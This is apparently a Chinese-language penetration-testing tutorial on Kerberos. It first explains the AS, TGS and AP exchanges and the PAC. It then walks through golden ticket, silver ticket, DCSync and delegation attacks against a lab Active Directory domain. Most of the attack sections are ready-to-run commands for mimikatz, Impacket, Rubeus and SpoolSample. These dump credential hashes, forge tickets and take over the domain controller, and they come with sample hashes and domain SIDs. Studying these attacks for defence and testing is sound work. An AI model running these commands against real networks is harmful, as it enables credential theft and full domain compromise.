这篇文章介绍Kerberos协议相关的内容。
Kerberos 认证原理
kerberos是一种计算机网络认证协议,他能够为网络中通信的双方提供严格的身份验证服务,确保通信双方身份的真实性和安全性。
不同于其他网络服务,kerberos协议中不是所有的客户端向想要访问的网络服务发起请求,他就能够建立连接然后进行加密通信。而是在发起服务请求后必须先进行一系列的身份认证,包括客户端和服务端两方的双向认证,只有当通信双方都认证通过对方身份之后,才可以互相建立起连接,进行网络通信。
即kerberos协议的侧重在于认证通信双方的身份,客户端需要确认即将访问的网络服务就是自己所想要访问的服务而不是一个伪造的服务器,而服务端需要确认这个客户端是一个身份真实,安全可靠的客户端,而不是一个想要进行恶意网络攻击的用户。
Kerbros认证,解决了“如何证明我是我的问题”
Kerbros协议的组成
Kerberos认证协议是基于票据的一种认证方式,可以分为三部分:用户(client)、服务器(Server)和KDC(Key Distribute Center、密钥分发中心)。
KDC包括AS(Authentication Server,认证服务器)和TGS(Ticket Granting Server、票据授权服务器)。
- AS,认证服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(票据授予票据)
- TGS,票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据(Ticket)
在域环境中,KDC服务部署在控制器DC上,DC中还有一个AD(Account Database),类似于 SAM的数据库,存储所有 Client的白名单,只有处于白名单中的 Client才可以成功申请 TGT
Kerberos认证流程
① AS_REQ(Client ->AS)
Client向AS发起AS_REQ,请求内容为通过Client的哈希加密的时间戳、ClientID等内容
身份信息(username/host)
包括:Pre-Authentication data(一个被Client Hash加密的TimeStamp,用于KDC验证客户端信息)、Client Info(Client标识,KDC以此查找Client的Hash)、Server Info
② AS_REP(AS -> Client)
AS使用Client Info在AD中查找Client的NTLM-Hash,使用Client的NTLM-Hash进行解密,如果解密正确,则证明客户端提供的密码正确。
然后 AS 会生成一个临时秘钥 Session-Key,并使用客户端 Client 的 NTLM-Hash 加密 Session-key AS 作为响应包的一部分内容。此 Session-key AS 用于确保客户端和 TGS 之间的通信安全。
还有一部分内容是用krbtgt的NTLM-hash加密的TGT(Ticket Granting Ticket,票据授权凭证)票据(黄金票据)。TGT包括PAC(Privilege Attribute Certificate,特权属证书),PAC包含Client的相关权限信息,如SID和所在的组。简单理解,PAC就是用于验证用户权限,只有KDC能制作和查看PAC。
包括:一个被Client Hash加密的Session Key:Client_Pass_Hash(Session Key)、TGT:KDC_Hash(Session Key, Client Info, End Time)
Session Key用于后续与TGS进行通信
③ TGS_REQ(Client->TGS)
Client获得了 TGT 和加密的 Session-Key。它会先用自己的 Client NTLM-hash 解密得到原始的 Session-Key。
Client 会使用 Session-Key 加密时间戳、Client-info、Server-info 等数据作为一部分。由于 TGT 是用 Krbtgt 账户的 NTLM-Hash 加密的,Client 无法解密,所以 Client 会将 TGT 作为另一部分继续发送给 TGS
包括:TGT:KDC_Hash(Session Key, Client Info, End Time)、Session_Key(Client Info, Timestamp)、Client、Server Info
④ TGS_REP(TGS->Client)
TGS 收到该请求,用 Krbtgt 用户的 NTLM-hash 先解密 TGT 得到 Session-key、时间戳、Client-info 以及 Server-info。再用 Session-key解密第一部分内容,得到 Client-info、时间戳。然后将两部分获取到时间戳进行比较,如果时间戳跟当前时间相差太久,就需要重新认证。TGS 还会将这个 Client 的信息与 TGT 中的 Client 信息进行比较,如果两个相等的话,还会继续判断 Client 有没有权限访问 Server,如果都没有问题,认证成功。
认证成功后,TGS 会生成一个Server Session-key ,并用 Session-key 加密 Server Session-key 作为响应的一部分。此 Server Session-key 用于确保客户端和服务器之间的通信安全。
另一部分是使用服务器 Server 的 NTLM-Hash 加密Server Session-key、时间戳以及 Client-info 等数据生成的 ST,并带上PAC。在kerberos认证过程中,不论用户有没有访问服务的权限,只要TGT正确,就会返回ST。
包括:**Session_key(Server Session Key)*、Ticket*:Server_Hash(Server Session Key、Client Info、End Time)
Server Session Key用于客户端和服务端的通信
⑤ AP_REQ(Client->Server)
客户端 Client 收到TGS_REP后,分别获得了 ST 和加密的Server Session-Key。它会先使用Session-key解密出了原始的 Server Session-key。
Client使用Server Session-key 加密 Client-info、时间戳等信息作为一部分内容。ST 因为使用的是 Server NTLM-hash 进行的加密,无法解密,所以会原封不动发送给 Server。两部分一块发送给 Server
Ticket:Server_Hash(Server Session Key、Client Info、End Time)、Server_Session_Key(Client Info、Timstamp)
⑥ AP_REP(Server->Client)
服务使用自己的NTLM-hash解密ST。如果解密正确,就会将其中的PAC给KDC解密,KDC由此判断Client是否具有访问服务的权限。
小结一下:
三个过程大致的描述:
Client 上的用户请求KDC上的AS服务TGT
Client 使用TGT请求KDC上的TGS得到ST(TGS ticket)
Client使用ST(TGS Ticket)访问Server
三个过程中涉及到的加密:
Client的用户请求AS使用的是用户对应的哈希加密
AS向Client返回两段内容,第一段内容是对应用户加密的(Ticket-Granting-Ticket,TGT) ,第二段内容是TGS 密钥加密的TGT(Ticket-Granting-Ticket)
Client向TGS发送两段内容,第一段内容为主体为TGT,第二段内容为(Ticket-Granting-Ticket)加密的Authenticator 1 {Client ID, Timestamp}。
TGS返回Client两段内容,第一段内容为[Service密钥]加密的Client-To-Server Ticket,使用[Client/TGS SessionKey]加密的[Client/Server SessionKey]。
Client向Service server 发送两段内容,第一段内容为Client-To-Server Ticket(未解密),由[Client/Server SessionKey]加密的Authenticator 2
如果正确,Service Server返回[Client/Server SessionKey]加密的Timestamp信息)
整个过程中的Ticket-Granting-Ticket和Client-To-Server Ticket就是我们所说的黄金票据(Golden Ticket)和白银票据(Silver Ticket)
上面所说的TGS 密钥来源于AD上的一个特殊账户,该账户是KDC 的服务账户,系统自动分配密码,该账户会在 AD 安装时自动创建krbtgt,该账户默认禁用,不能用于交互式登录到域,也无法重命名
PAC
在上面的认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT,有了 TGT,就可以拿到 ST,有了 ST ,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 “Who am i?” 的问题,而没有解决 “What can I do?” 的问题。
为了解决上面的这个问题,微软引进了PAC。即 KDC 向客户端 Client 返回AS_REP时插入了 PAC,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的AP_REQ请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL 进行对比,最后决定是否给用户提供相关的服务。
黄金票据
在Kerberos认证过程中,Client的TGT是使用krbtgt的NTML哈希值加密生成的,如果获得了krbtgt的哈希值,便可以伪造TGT,从而伪造任意用户的票据。这种攻击方式称为黄金票据(Golden Ticket)。
攻击需要以下信息:域名、域sid、krbtgt哈希值,伪造的用户
1 | 黄金票据利用需要的参数内容如下: |
① 获取krbtgt(AD上)的哈希
方式一: 登录域控制器,在域控制器上执行代码mimikataz获得域用户的哈希
1 | mimikatz.exe "Privilege::Debug" "lsadump::lsa /patch" exit |
方式二:利用Dcsync,远程导出域内用户的hash
1 | privilege::debug |
这里是在域内主机webserver-2008上的Administrator用户下执行的,该用户在Administrators组内
原理:在域环境中,域控制之间每十五分钟就会进行一次域数据同步。当域控制A需要从域控制器B获取数据时,会向其发送一个 GetNCChanges 请求,该请求包含了需要同步的数据,如果获取的数据较多,则会进行循环请求。
DCSync是mimikatz在2015年添加的一个功能,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。
注意:
该命令不用在域控机器上执行,可以在域内任意主机上导出密码,登录的用户需要如下权限:
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
② 制作黄金票据
方式一 mimikatz生成黄金票据,并导入内存中
1 | mimikatz.exe "kerberos::purge" "kerberos::golden /user:Administrator /domain:uf9n1x.com /sid:S-1-5-21-2882047176-904438793-543075559 /krbtgt:a42acbd06b5b30a836a91b9603c69e59 /ticket:ticket.kirbi" "kerberos::ptt ticket.kirbi" |
导入成功,此时看看存储了哪些票据:可以看到,导入了金票,我们的票据身份已经变成了域uf9n1x.com中的Administrator用户
方式二 Impacket-ticketer 制造黄金票据
1 | python3 ticketer.py -domain-sid S-1-5-21-2882047176-904438793-543075559 -nthash a42acbd06b5b30a836a91b9603c69e59 -domain uf9n1x.com administrator |
方式三 CobaltStrike制作黄金票据并用mimikataz导入
③ 之后执行其他操作就不需要指定用户名和密码
1 | dir \\dc\c$ |
白银票据
黄金票据伪造的是TGT,白银票据(Silver Ticket)是伪造服务票据(ST)。在没有配置PAC的情况下,如果Server NTLM-hash被泄露,那么就可以利用Server NTLM-hash来伪造任意服务的票据,从而访问服务器上的任意服务。
所需条件:域名、域sid、目标服务器名、可利用的服务、服务账号的NTML HASH 、需要伪造的用户名
1 | 白银票据需要的参数如下: |
1.获取服务账户的密码HASH
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > pwd.txt |
2.制作白银票据并访问服务
方式一 mimikataz
1 | 利用方式(mimikatz): |
方式二 Impacket-ticketer
1 | 生成白银票据 |
可以伪造的服务:
服务 | 服务名 |
---|---|
WMI | host、rpcss |
powershell remoting | host、http |
winrm | host、http |
Scheduled Tasks | host |
Windows File Share (CIFS) | cifs |
LDAP | ldap |
伪造共享文件夹服务(cifs)权限
1 | ## 制作票据并导入 |
伪造LDAP服务权限
如果已经获取DC机器账户的哈希值,便可以使用银票访问其LDAP服务,执行mimikatz的DCSync,以获取krbtgt用户的hash,进而制作黄金票据
1 | ## 制作票据并导入 |
伪造计划任务服务
1 | ## 制作host服务票据并导入 |
伪造wmi服务权限
1 | ## 制作host服务票据并导入 |
票据传递攻击总结
黄金票据和白银票据通常被认为属于票据传递攻击(Pass-the-Ticket,简称PTT)的一种。
这是一种针对Windows身份验证系统的攻击,攻击者可以利用缺陷或弱点获取用户或系统帐户的票据信息,然后将其用于进一步攻击或访问敏感资源.
黄金票据与白银票据异同之处
相同:
都是属于Kerberos认证的利用方式。
都属于PTT攻击(票据传递攻击)。
两者都用来做后渗透的域权限维持手段。
不同:
黄金票据TGT:
伪造高权限TGT访问任意服务。
TGT由krbtgt hash加密
黄金票据伪造TGT需要与KDC进行TGS通讯,获取ST会在KDC上留下日志。
白银票据ST:
伪造高权限ST访问指定服务。
ST由服务hash加密
白银票据伪造ST可以不与KDC进行通信,直接访问服务因此不会在KDC上留下日志,只会在目标服 务器上留下日志。
委派攻击
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内的其他服务。简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。
委派分为非约束委派、约束委派和基于资源的约束委派。
注意:能够被委派的用户只能是服务账号或者机器账号,并且被委派的用户不能被设置为不能被委派属性。
机器账号: 活动目录中的computers组内的计算机,也被称为机器账号。
服务账号: 域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。就比如 SQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录。
非约束委派
对于非约束性委派 (Unconstrained Delegation),服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT, 模拟该用户访问任意服务。
如果管理员访问了某个开启非约束委派的服务,则该服务所在计算机会将域管理员的TGT保存至内存,那么获得其特权便可以获得域控权限。
对计算机设置非约束委派:
查找非约束委派的主机或服务账户
adfind:
1 | # 查找域中配置非约束委派的用户 |
powersploit中的powerview (meterpreter中):
1 | powershell_import PowerView.ps1 |
非约束委派的常规利用
mimikatz导出票据直接利用(需要有过被访问记录)
当一台主机设置了非委派约束,我们已经拿到了其控制权限,在此机器上可以使用mimikatz导出内存中的所有票据:
1 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" |
如果域管理员访问过该机器,则会有域管理员的tgt票据存在,其中编号 0 = TGS, 1 = client ticket(?) and 2 = TGT,使用kerberos::ptt导入票据,之后即可访问
1 | mimikatz.exe "kerberos::ptt [0;4bbb6]-2-0-60a10000-Administrator@krbtgt-UF9N1X.COM.kirbi" "exit" |
使用Spooler打印机服务要求主动连接(不需要被访问过)
上面的攻击方式要求管理员连接过该计算机服务,否则无法利用。在特定的条件下,可以利用Spooler打印机服务让域控主动连接服务。
在Spooler服务默认开启的情况下,域用户可以利用Windows打印机系统远程协议(MS-RPRN)强制任何运行了Spoler服务的域内计算机通过kerberos或NTLM协议对任何目标进行身份验证。
1、在开启非约束委派的机器上使用Rubeus对域控账户的登录进行监听(需要本地管理员权限)
1 | Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC$ |
2、使用SpoolSample工具执行打印机漏洞利用,进行强制验证,此时Rubeus可以监听到TGT
1 | SpoolSample.exe DC Win7 |
3、Rubeus监听到票据并导入该票据
1 | # rubeus导入票据 Rubeus.exe ptt /ticket:doIFGjCCBRagAw...VEVBTS5MQUI= |
4、利用mimikatz进行dcsync
注意:这里获取到的TGT其实是DC的机器账户,而机器账户是没有权限访问cifs服务的,但是在LDAP服务中,机器账户会被当作域控机器,从而可以dcsync。
另一种方式,使用mimikatz导出票据,找到DC$的tgt,之后再使用mimikatz导入
约束委派
由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能,对Kerberos协议进行了扩展,引入了S4U协议:S4U2Self(Service for User to Self)和S4U2Proxy(Service for User to Proxy。
约束委派在Kerberos中User不会直接发送TGT 给 service1,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。
S4U2Self和S4U2proxy的请求过程:
S4U2self:service1代表用户请求针对其自身的服务票据ST1;
S4U2proxy:service1用S4U2self阶段的可转发ST1代表用户请求service2的票据,这个过程会检查msdn-allowedtodelegateto的SPN值来确定是否可以申请到服务的票据。
约束委派就是限制了S4U2proxy扩展的范围,只能模拟该用户访问特定的服务
以下表示委派此计算机可以访问DC的CIFS服务
查找约束委派的主机或服务
adfind
1 | # 查找域中配置约束委派用户 |
empire中的 powerview
1 | # 导入powershell模块 |
约束委派的利用
使用Rubeus
1、使用mimikatz获取机器账户的NTLM hash值
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" |
2、使用Rubeus申请访问自身的可转发服务票据
1 | # 使用Rubeus申请配置了约束委派机器账户WIN10-1$的TGT |
3、使用Rubeus通过S4U2Self协议代表域管理员Administrator请求针对域控LDAP服务的票据并注入内存
1 | Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC-2012.uf9n1x.com /dc:DC-2012.uf9n1x.com /ptt /ticket:doIEyjCC...WUuY29t |
使用impacket项目
1、mimikatz获取机器账户NTLM Hash值
2、使用getST.py申请服务票据
1 | python getST.py -dc-ip 192.168.205.130 -spn CIFS/DC-2012.uf9n1x.com -impersonate administrator uf9n1x.com/WIN10$ -hashes :a5ff267c99a19db78f0e7ac22c1ce576 |
3、使用票据远程访问,获取
1 | export KRB5CCNAME=administrator.ccache python3 psexec.py -k uf9n1x.com/administrator@DC-2012.uf9n1x.com -no-pass -dc-ip 192.168.205.130 |